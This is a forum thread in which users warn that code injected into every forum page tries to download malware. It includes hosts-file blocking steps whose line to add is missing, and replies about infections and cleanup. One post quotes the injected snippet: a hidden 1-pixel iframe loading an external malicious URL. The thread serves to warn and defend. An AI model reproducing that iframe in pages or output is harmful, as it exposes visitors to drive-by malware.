Looks like something is inserting some code into every page on the forum that tries to download nasty stuff onto your computer:
Code: Select all
<iframe src='http://l3sd.co.cc/index.php?tp=7f4f8de2c33c88a7' style='width: 1px; height: 1px; border:0px;'></iframe>
Until the forum admins can get rid of it, you can block the site it's trying to download from by doing the following:
* Go to
http://en.wikipedia.org/wiki/Hosts_(fil ... ile_system and find out where the "hosts" file lives on your computer.
* Load the hosts file into a text editor like Notepad
* Add the line:
(If you're having trouble editing the hosts file, there are loads of
tutorials on Youtube)

I just got an absolute killer of a virus. I'm on my iPhone now.
I'm running one of those avast boot scans where it scans before shit starts up. Hope it works.

im not getting any virus warnings like i do other suspect places, just this bot.
badge aint even read the message yet, and by this thread, i reckon its not a "good" bot, if anyone knows about bots then step forward as no1 on the "UPPER ROOOOOOM" is gonna help.

I system restored to yesterday, sorted out most of the virus/spyware. Not a great fix but its useable.

hahaha this.
Also i love how quickly threads disappear if they start stepping on toes but as soon as we need the mods to help with something they ain't about.
